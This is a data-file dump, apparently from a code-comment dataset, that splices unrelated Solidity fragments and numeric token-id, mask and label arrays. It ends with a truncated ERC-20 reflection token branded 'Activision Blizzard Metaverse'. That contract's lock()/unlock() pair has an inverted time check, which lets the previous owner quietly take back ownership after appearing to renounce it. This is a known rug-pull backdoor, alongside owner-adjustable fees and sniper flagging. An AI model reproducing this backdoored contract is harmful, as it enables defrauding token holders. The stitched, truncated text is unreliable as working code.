return _successor;
}
/***************************************************************************
*
* SETTERS
*
*/
/**
* Set Trade Price (Token)
*
* Keys for trade pairs are encoded using the 'exact' symbol,
* as listed in their respective contract:
*
* ZeroGold `zpi.0GOLD.DAI`
* 0x3cf0b17677519ce01176e2dde0338a4d8962be5853b2d83217cc99c527d5629a
*
* 0xBitcoin Token `zpi.0xBTC.DAI`
* 0x9b7396ba7848459ddbaa41b35e502a95d1df654913a5b67c4e7870bd40064612
*
* Wrapped Ether `zpi.WBTC.DAI`
* 0x03f90c9c29c9a65eabac4ea5eb624068469de88b5b8557eae0c8778367e8dfae
*
* Wrapped Ether `zpi.WETH.DAI`
* 0xf2349fd68dcc221f5a12142038d2619c9f73c8e7e95afcd8e0bd5bcd33b291bb
*
* NOTE: All trades are made against DAI stablecoin.
*/
function setTradePrice(
string _token,
uint _value
) onlyAuthBy0Admin external returns (bool success) {
/* Calculate data id. */
bytes32 dataId = keccak256(abi.encodePacked(
_NAMESPACE, '.', _token, '.', _TRADE_PAIR_BASE
));
/* Set value in Zer0net Db. */
_zer0netDb.setUint(dataId, _value);
/* Broadcast event. */
emit PriceUpdate(dataId, _value);
/* Return success. */
return true;
}
/**
* Set Trade Price (Collectible)
*
* NOTE: All trades are made against DAI stablecoin.
*/
function setTradePrice(
address _token,
uint _tokenId,
uint _value
) onlyAuthBy0Admin external returns (bool success) {
/* Calculate data id. */
bytes32 dataId = keccak256(abi.encodePacked(
_NAMESPACE, '.', _token, '.', _tokenId
));
/* Set value in Zer0net Db. */
_zer0netDb.setUint(dataId, _value);
/* Broadcast event. */
emit PriceUpdate(dataId, _value);
/* Return success. */
return true;
}
/**
* Set Trade Price (IPFS) List
*
* NOTE: All trades are made against DAI stablecoin.
*/
function setTradePriceList(
string _listId,
bytes _ipfsHash
) onlyAuthBy0Admin external returns (bool success) {
/* Initailze hash. */
bytes32 hash = 0x0;
/* Set hash. */
hash = keccak256(abi.encodePacked(_NAMESPACE, '.ipfs.', _listId));
/* Set value in Zer0net Db. */
_zer0netDb.setBytes(hash, _ipfsHash);
/* Broadcast event. */
emit PriceListUpdate(hash, _ipfsHash);
/* Return success. */
return true;
}
/**
* Set Core Trade Prices
*
* NOTE: All trades are made against DAI stablecoin.
*
* NOTE: Use of `string[]` is still experimental,
* so we are required to `setCorePrices` by sending
* `_values` in the proper format.
*/
function setAllCoreTradePrices(
uint[] _values
) onlyAuthBy0Admin external returns (bool success) {
/* Iterate Core Tokens for updating. */
for (uint8 i = 0; i < _CORE_TOKENS.length; i++) {
/* Set data id. */
bytes32 dataId = keccak256(abi.encodePacked(
_NAMESPACE, '.', _CORE_TOKENS[i], '.', _TRADE_PAIR_BASE
));
/* Set value in Zer0net Db. */
_zer0netDb.setUint(dataId, _values[i]);
/* Broadcast event. */
emit PriceUpdate(dataId, _values[i]);
}
/* Return success. */
return true;
}
/**
* Set (Multiple) Trade Prices
*
* This will be used for ERC-721 Collectible tokens.
*
* NOTE: All trades are made against DAI stablecoin.
*/
function setTokenTradePrices(
address[] _tokens,
uint[] _tokenIds,
uint[] _values
) onlyAuthBy0Admin external returns (bool success) {
/* Iterate Core Tokens for updating. */
for (uint i = 0; i < _tokens.length; i++) {
/* Set data id. */
bytes32 dataId = keccak256(abi.encodePacked(
_NAMESPACE, '.', _tokens[i], '.', _tokenIds[i]
));
/* Set value in Zer0net Db. */
_zer0netDb.setUint(dataId, _values[i]);
/* Broadcast event. */
emit PriceUpdate(dataId, _values[i]);
}
/* Return success. */
return true;
}
/**
* Set Successor
*
* This is the contract address that replaced this current instnace.
*/
function setSuccessor(
address _newSuccessor
) onlyAuthBy0Admin external returns (bool success) {
/* Set successor contract. */
_successor = _newSuccessor;
/* Return success. */
return true;
}
/***************************************************************************
*
* INTERFACES
*
*/
/**
* Supports Interface (EIP-165)
*
* (see: https://github.com/ethereum/EIPs/blob/master/EIPS/eip-165.md)
*
* NOTE: Must support the following conditions:
* 1. (true) when interfaceID is 0x01ffc9a7 (EIP165 interface)
* 2. (false) when interfaceID is 0xffffffff
* 3. (true) for any other interfaceID this contract implements
* 4. (false) for any other interfaceID
*/
function supportsInterface(
bytes4 _interfaceID
) external pure returns (bool) {
/* Initialize constants. */
bytes4 InvalidId = 0xffffffff;
bytes4 ERC165Id = 0x01ffc9a7;
/* Validate condition #2. */
if (_interfaceID == InvalidId) {
return false;
}
/* Validate condition #1. */
if (_interfaceID == ERC165Id) {
return true;
}
// TODO Add additional interfaces here.
/* Return false (for condition #4). */
return false;
}
/***************************************************************************
*
* UTILITIES
*
*/
/**
* Transfer Any ERC20 Token
*
* @notice Owner can transfer out any accidentally sent ERC20 tokens.
*
* @dev Provides an ERC20 interface, which allows for the recover
* of any accidentally sent ERC20 tokens.
*/
function transferAnyERC20Token(
address _tokenAddress,
uint _tokens
) public onlyOwner returns (bool success) {
return ERC20Interface(_tokenAddress).transfer(owner, _tokens);
}
}
|
* Set Core Trade Prices NOTE: All trades are made against DAI stablecoin. NOTE: Use of `string[]` is still experimental, so we are required to `setCorePrices` by sending `_values` in the proper format./ Iterate Core Tokens for updating. */
|
function setAllCoreTradePrices(
uint[] _values
) onlyAuthBy0Admin external returns (bool success) {
for (uint8 i = 0; i < _CORE_TOKENS.length; i++) {
bytes32 dataId = keccak256(abi.encodePacked(
_NAMESPACE, '.', _CORE_TOKENS[i], '.', _TRADE_PAIR_BASE
));
_zer0netDb.setUint(dataId, _values[i]);
emit PriceUpdate(dataId, _values[i]);
}
| 13,052,366 |
[
1,
694,
4586,
2197,
323,
2301,
1242,
5219,
30,
4826,
1284,
5489,
854,
7165,
5314,
463,
18194,
14114,
12645,
18,
5219,
30,
2672,
434,
1375,
1080,
8526,
68,
353,
4859,
23070,
16,
4202,
1427,
732,
854,
1931,
358,
1375,
542,
4670,
31862,
68,
635,
5431,
4202,
1375,
67,
2372,
68,
316,
326,
5338,
740,
18,
19,
11436,
4586,
13899,
364,
9702,
18,
342,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
445,
30213,
4670,
22583,
31862,
12,
203,
3639,
2254,
8526,
389,
2372,
203,
565,
262,
1338,
1730,
858,
20,
4446,
3903,
1135,
261,
6430,
2216,
13,
288,
203,
3639,
364,
261,
11890,
28,
277,
273,
374,
31,
277,
411,
389,
15715,
67,
8412,
55,
18,
2469,
31,
277,
27245,
288,
203,
5411,
1731,
1578,
501,
548,
273,
417,
24410,
581,
5034,
12,
21457,
18,
3015,
4420,
329,
12,
203,
7734,
389,
11368,
16,
2611,
16,
389,
15715,
67,
8412,
55,
63,
77,
6487,
2611,
16,
389,
20060,
1639,
67,
4066,
7937,
67,
8369,
203,
5411,
262,
1769,
203,
377,
203,
5411,
389,
24355,
20,
2758,
4331,
18,
542,
5487,
12,
892,
548,
16,
389,
2372,
63,
77,
19226,
203,
2398,
203,
5411,
3626,
20137,
1891,
12,
892,
548,
16,
389,
2372,
63,
77,
19226,
203,
540,
203,
565,
289,
203,
377,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/82/0x1d5935d36D0E1d812c4ea6Af40c3D6eb361eeb07/sources/GnosisSafe.sol
|
@title SelfAuthorized - authorizes current contract to perform actions @author Richard Meissner - <[email protected]>
|
contract SelfAuthorized {
modifier authorized() {
require(msg.sender == address(this), 'Method can only be called from this contract');
_;
}
}
| 16,902,044 |
[
1,
10084,
15341,
300,
2869,
3128,
783,
6835,
358,
3073,
4209,
225,
534,
1354,
1060,
7499,
1054,
1224,
300,
411,
12761,
1060,
36,
1600,
538,
291,
18,
7755,
34,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
16351,
18954,
15341,
288,
203,
203,
225,
9606,
10799,
1435,
288,
203,
565,
2583,
12,
3576,
18,
15330,
422,
1758,
12,
2211,
3631,
296,
1305,
848,
1338,
506,
2566,
628,
333,
6835,
8284,
203,
565,
389,
31,
203,
225,
289,
203,
97,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return payable(msg.sender);
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly {
codehash := extcodehash(account)
}
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(
address(this).balance >= amount,
"Address: insufficient balance"
);
(bool success, ) = recipient.call{value: amount}("");
require(
success,
"Address: unable to send value, recipient may have reverted"
);
}
function functionCall(address target, bytes memory data)
internal
returns (bytes memory)
{
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(
address target,
bytes memory data,
string memory errorMessage
) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value
) internal returns (bytes memory) {
return
functionCallWithValue(
target,
data,
value,
"Address: low-level call with value failed"
);
}
function functionCallWithValue(
address target,
bytes memory data,
uint256 value,
string memory errorMessage
) internal returns (bytes memory) {
require(
address(this).balance >= value,
"Address: insufficient balance for call"
);
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(
address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage
) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
(bool success, bytes memory returndata) = target.call{value: weiValue}(
data
);
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
uint256 private _lockTime;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msg.sender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(
newOwner != address(0),
"Ownable: new owner is the zero address"
);
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
function geUnlockTime() public view returns (uint256) {
return _lockTime;
}
function lock(uint256 time) public virtual onlyOwner {
_previousOwner = _owner;
_owner = address(0);
_lockTime = block.timestamp + time;
emit OwnershipTransferred(_owner, address(0));
}
function unlock() public virtual {
require(
_previousOwner == msg.sender,
"You don't have permission to unlock"
);
require(block.timestamp < _lockTime, "Contract is locked until 7 days");
emit OwnershipTransferred(_owner, _previousOwner);
_owner = _previousOwner;
}
}
interface IDEXFactory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IDEXRouter {
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidity(
address tokenA,
address tokenB,
uint256 amountADesired,
uint256 amountBDesired,
uint256 amountAMin,
uint256 amountBMin,
address to,
uint256 deadline
)
external
returns (
uint256 amountA,
uint256 amountB,
uint256 liquidity
);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
function swapExactTokensForTokensSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function swapExactETHForTokensSupportingFeeOnTransferTokens(
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
}
contract Activision is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
event Log(string, uint256);
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private _isExcludedFromWhale;
mapping (address => bool) private _isSniper;
mapping (address => bool) private _liquidityHolders;
mapping(address => bool) private _isExcluded;
address[] private _excluded;
uint256 private constant MAX = ~uint256(0);
uint256 private _tTotal = 1_000_000 * 10**18;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
string private _name = "Activision Blizzard Metaverse";
string private _symbol = "Activision";
uint8 private _decimals = 18;
uint256 public _taxFee = 2;
uint256 private _previousTaxFee = _taxFee;
uint256 public _liquidityFee = 1;
uint256 private _previousLiquidityFee = _liquidityFee;
uint256 public _marketingFee = 3;
uint256 private _previousMarketingFee = _marketingFee;
uint256 public _devFee = 3;
uint256 private _previousDevFee = _devFee;
uint256 public swapbackDivisor = 3;
uint256 public _saleTaxBurnFee = 2;
uint256 public _saleLiquidityFee = 2;
uint256 public _saleMarketingFee = 4;
uint256 public _saleDevFee = 4;
bool private sniperProtection = false;
bool public _hasLiqBeenAdded = false;
uint256 private _liqAddBlock = 0;
uint256 private _liqAddStamp = 0;
uint256 private snipeBlockAmt = 0;
uint256 public snipersCaught = 0;
bool private gasLimitActive = true;
uint256 private gasPriceLimit = 6 gwei;
bool private sameBlockActive = true;
mapping (address => uint256) private lastTrade;
address payable public marketingWallet = payable(0x3BF306FF85b1b7130B86fD25C68D698FA24D4Dd4);
address payable private devWallet = payable(0xA6a72E843a1559B4F9e76D009871f4d169aC57C8);
address public burnAddress = 0x000000000000000000000000000000000000dEaD;
IDEXRouter public swapRouter;
address public lpPair;
bool inSwapAndLiquify;
bool public swapAndLiquifyEnabled = false;
uint256 public _maxSaleLimit = 1_000_000 * 10**18; //1%
uint256 public _maxBuyLimit = 5_000_000 * 10**18; //2%
uint256 private numTokensSellToAddToLiquidity = 1000 * 10**18;
uint256 public maxLimit = 10_000_000 * 10**18; //max allowed tokens in one wallet.
mapping (address => uint256) public walletLimit;
mapping (address => bool) public walletLimited;
uint256 public upperLimit = 34;
event MinTokensBeforeSwapUpdated(uint256 minTokensBeforeSwap);
event SwapAndLiquifyEnabledUpdated(bool enabled);
event SwapAndLiquify(
uint256 tokensSwapped,
uint256 ethReceived,
uint256 tokensIntoLiqudity
);
event SniperCaught(address sniperAddress);
modifier lockTheSwap() {
inSwapAndLiquify = true;
_;
inSwapAndLiquify = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IDEXRouter _swapRouter = IDEXRouter(
0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
);
lpPair = IDEXFactory(_swapRouter.factory()).createPair(
address(this),
_swapRouter.WETH()
);
swapRouter = _swapRouter;
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_liquidityHolders[owner()] = true;
// exclude from whales or having max tokens limit
_isExcludedFromWhale[owner()] = true;
_isExcludedFromWhale[address(this)] = true;
_isExcludedFromWhale[address(0)] = true;
_isExcludedFromWhale[marketingWallet] = true;
_isExcludedFromWhale[devWallet] = true;
_isExcludedFromWhale[lpPair] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function removeAllFee() private {
_taxFee = 0;
_liquidityFee = 0;
_marketingFee = 0;
_devFee = 0;
}
function setSaleFee() private {
_taxFee = _saleTaxBurnFee;
_liquidityFee = _saleLiquidityFee;
_marketingFee = _saleMarketingFee;
_devFee = _saleDevFee;
}
function restoreAllFee() private {
_taxFee = _previousTaxFee;
_liquidityFee = _previousLiquidityFee;
_marketingFee = _previousMarketingFee;
_devFee = _previousDevFee;
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
if (_isExcluded[account]) return _tOwned[account];
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function increaseAllowance(address spender, uint256 addedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].add(addedValue)
);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue)
public
virtual
returns (bool)
{
_approve(
_msgSender(),
spender,
_allowances[_msgSender()][spender].sub(
subtractedValue,
"ERC20: decreased allowance below zero"
)
);
return true;
}
function isExcludedFromReward(address account) public view returns (bool) {
return _isExcluded[account];
}
function isSniper(address account) public view returns (bool) {
return _isSniper[account];
}
function removeSniper(address account) external onlyOwner() {
require(_isSniper[account], "Account is not a recorded sniper.");
_isSniper[account] = false;
}
function setProtectionSettings(bool antiSnipe, bool antiGas, bool antiBlock) external onlyOwner() {
sniperProtection = antiSnipe;
gasLimitActive = antiGas;
sameBlockActive = antiBlock;
}
function setStartingProtections(uint8 _block, uint256 _gas) external onlyOwner{
require (snipeBlockAmt == 0 && gasPriceLimit == 0 && !_hasLiqBeenAdded);
snipeBlockAmt = _block;
gasPriceLimit = _gas * 1 gwei;
}
function totalFees() public view returns (uint256) {
return _tFeeTotal;
}
function deliver(uint256 tAmount) public {
address sender = _msgSender();
require(
!_isExcluded[sender],
"Excluded addresses cannot call this function"
);
(uint256 rAmount, , , , , ) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rTotal = _rTotal.sub(rAmount);
_tFeeTotal = _tFeeTotal.add(tAmount);
}
function reflectionFromToken(uint256 tAmount, bool deductTransferFee)
public
view
returns (uint256)
{
require(tAmount <= _tTotal, "Amount must be less than supply");
if (!deductTransferFee) {
(uint256 rAmount, , , , , ) = _getValues(tAmount);
return rAmount;
} else {
(, uint256 rTransferAmount, , , , ) = _getValues(tAmount);
return rTransferAmount;
}
}
function tokenFromReflection(uint256 rAmount)
public
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function excludeFromReward(address account) public onlyOwner {
require(!_isExcluded[account], "Account is already excluded");
if (_rOwned[account] > 0) {
_tOwned[account] = tokenFromReflection(_rOwned[account]);
}
_isExcluded[account] = true;
_excluded.push(account);
}
function includeInReward(address account) external onlyOwner {
require(_isExcluded[account], "Account is already excluded");
for (uint256 i = 0; i < _excluded.length; i++) {
if (_excluded[i] == account) {
_excluded[i] = _excluded[_excluded.length - 1];
_tOwned[account] = 0;
_isExcluded[account] = false;
_excluded.pop();
break;
}
}
}
function _transferBothExcluded(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getValues(tAmount);
_tOwned[sender] = _tOwned[sender].sub(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_tOwned[recipient] = _tOwned[recipient].add(tTransferAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeLiquidity(tLiquidity);
if(recipient == lpPair){
// sale
_takeBurn(sender,tFee);
}else{
_reflectFee(rFee, tFee);
}
emit Transfer(sender, recipient, tTransferAmount);
}
receive() external payable {}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(
uint256 tTransferAmount,
uint256 tFee,
uint256 tLiquidity
) = _getTValues(tAmount);
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(
tAmount,
tFee,
tLiquidity,
_getRate()
);
return (
rAmount,
rTransferAmount,
rFee,
tTransferAmount,
tFee,
tLiquidity
);
}
function _getTValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = calculateTaxFee(tAmount);
uint256 tLiquidity = calculateLiquidityFee(tAmount);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tLiquidity);
return (tTransferAmount, tFee, tLiquidity);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tLiquidity,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rLiquidity = tLiquidity.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rLiquidity);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
for (uint256 i = 0; i < _excluded.length; i++) {
if (
_rOwned[_excluded[i]] > rSupply ||
_tOwned[_excluded[i]] > tSupply
) return (_rTotal, _tTotal);
rSupply = rSupply.sub(_rOwned[_excluded[i]]);
tSupply = tSupply.sub(_tOwned[_excluded[i]]);
}
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _takeLiquidity(uint256 tLiquidity) private {
uint256 currentRate = _getRate();
uint256 rLiquidity = tLiquidity.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rLiquidity);
if (_isExcluded[address(this)])
_tOwned[address(this)] = _tOwned[address(this)].add(tLiquidity);
}
function calculateTaxFee(uint256 _amount) private view returns (uint256) {
return _amount.mul(_taxFee).div(10**2);
}
function calculateLiquidityFee(uint256 _amount)
private
view
returns (uint256)
{
return _amount.mul(_liquidityFee.add(_marketingFee).add(_devFee)).div(100);
}
function isExcludedFromFee(address account) public view returns (bool) {
return _isExcludedFromFee[account];
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _hasLimits(address from, address to) private view returns (bool) {
return from != owner()
&& to != owner()
&& !_liquidityHolders[to]
&& !_liquidityHolders[from]
&& to != burnAddress
&& to != address(0)
&& from != address(this);
}
function _checkLiquidityAdd(address from, address to) private {
require(!_hasLiqBeenAdded, "Liquidity already added and marked.");
